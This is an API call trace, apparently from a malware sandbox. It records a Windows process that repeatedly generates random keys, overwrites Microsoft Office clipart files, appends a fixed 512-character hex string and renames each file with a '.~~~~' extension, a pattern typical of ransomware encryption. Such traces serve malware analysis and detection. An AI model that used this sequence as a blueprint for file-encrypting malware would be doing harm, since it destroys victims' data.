	[0120.827] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.827] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.827] CloseHandle (hObject=0x140) returned 1
	[0120.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6878
	[0120.827] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.~~~~")) returned 1
	[0120.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6878 | out: hHeap=0x300000) returned 1
	[0120.829] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.829] GetLastError () returned 0x0
	[0120.834] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0120.835] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.835] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.835] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24082541932) returned 1
	[0120.835] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb17edf50, dwHighDateTime=0x1d60e1e)) 
	[0120.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6f80
	[0120.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6f80 | out: hHeap=0x300000) returned 1
	[0120.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28733a0
	[0120.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.836] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.836] GetLastError () returned 0x0
	[0120.837] GetLastError () returned 0x0
	[0120.837] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.837] GetLastError () returned 0x0
	[0120.837] GetLastError () returned 0x0
	[0121.002] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff089, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.004] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xf77, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xf77, lpOverlapped=0x0) returned 1
	[0121.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.012] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.012] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.012] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.012] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.013] CloseHandle (hObject=0x140) returned 1
	[0121.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0121.013] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif.~~~~")) returned 1
	[0121.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0121.015] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.015] GetLastError () returned 0x0
	[0121.016] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.017] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.017] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.017] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24100711462) returned 1
	[0121.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb1990e70, dwHighDateTime=0x1d60e1e)) 
	[0121.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b4f0
	[0121.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.017] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b4f0 | out: hHeap=0x300000) returned 1
	[0121.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.018] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.018] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.018] GetLastError () returned 0x0
	[0121.018] GetLastError () returned 0x0
	[0121.018] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.018] GetLastError () returned 0x0
	[0121.018] GetLastError () returned 0x0
	[0121.020] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe481, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.021] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1b7f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x1b7f, lpOverlapped=0x0) returned 1
	[0121.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.023] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.023] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.023] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.023] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.023] CloseHandle (hObject=0x140) returned 1
	[0121.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5b18
	[0121.023] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif.~~~~")) returned 1
	[0121.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5b18 | out: hHeap=0x300000) returned 1
	[0121.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.024] GetLastError () returned 0x0
	[0121.025] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.026] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.026] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.026] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24101626527) returned 1
	[0121.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb19b6fd0, dwHighDateTime=0x1d60e1e)) 
	[0121.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b528
	[0121.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b528 | out: hHeap=0x300000) returned 1
	[0121.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.027] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.027] GetLastError () returned 0x0
	[0121.027] GetLastError () returned 0x0
	[0121.027] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.027] GetLastError () returned 0x0
	[0121.028] GetLastError () returned 0x0
	[0121.029] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff953, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.030] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x6ad, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x6ad, lpOverlapped=0x0) returned 1
	[0121.031] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.031] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.031] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.031] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.031] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.032] CloseHandle (hObject=0x140) returned 1
	[0121.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f54a0
	[0121.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif.~~~~")) returned 1
	[0121.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f54a0 | out: hHeap=0x300000) returned 1
	[0121.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.037] GetLastError () returned 0x0
	[0121.037] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.038] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.038] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.039] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24102868600) returned 1
	[0121.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb19dd130, dwHighDateTime=0x1d60e1e)) 
	[0121.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9a60
	[0121.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0121.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9a60 | out: hHeap=0x300000) returned 1
	[0121.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0121.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.039] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.040] GetLastError () returned 0x0
	[0121.040] GetLastError () returned 0x0
	[0121.040] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.040] GetLastError () returned 0x0
	[0121.040] GetLastError () returned 0x0
	[0121.154] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff961, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.154] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x69f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x69f, lpOverlapped=0x0) returned 1
	[0121.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.157] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.157] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.157] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.157] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.158] CloseHandle (hObject=0x140) returned 1
	[0121.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0121.158] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif.~~~~")) returned 1
	[0121.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0121.160] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.160] GetLastError () returned 0x0
	[0121.160] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0121.161] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.161] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.162] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24115184409) returned 1
	[0121.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb1b0dc30, dwHighDateTime=0x1d60e1e)) 
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9b40
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9b40 | out: hHeap=0x300000) returned 1
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.163] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0121.163] GetLastError () returned 0x0
	[0121.163] GetLastError () returned 0x0
	[0121.163] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0121.163] GetLastError () returned 0x0
	[0121.163] GetLastError () returned 0x0
	[0121.191] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffdfda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.192] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x2026, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x2026, lpOverlapped=0x0) returned 1
	[0121.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
